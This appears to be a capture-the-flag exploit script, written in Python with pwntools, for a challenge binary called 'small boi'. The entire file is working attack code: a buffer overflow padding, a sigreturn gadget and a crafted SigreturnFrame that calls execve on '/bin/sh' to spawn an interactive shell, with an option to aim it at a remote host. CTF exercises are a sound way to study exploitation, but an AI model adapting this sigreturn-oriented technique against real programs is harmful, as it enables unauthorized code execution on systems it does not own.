small boi

#!/usr/bin/env python3

from pwn import *
#from termcolor import colored
#import time
#from tqdm import tqdm

exe = ELF("./small_boi_patched")

context.binary = exe
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    else:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=dbginit)
    return r


def main():
    r = conn()
    offset = 0x28 * b'i'
    binsh = next(exe.search(b'/bin/sh\0'))

    # mov eax, 0xf; syscall;
    sigreturn_gadget = 0x400180

    # syscall;
    syscall = 0x400185

    frame = SigreturnFrame(kernel="amd64")
    frame.rax = 59
    frame.rdi = binsh
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = syscall 

    payload = offset + p64(sigreturn_gadget) + bytes(frame)
    r.sendline(payload)
    r.interactive()


if __name__ == "__main__":
    main()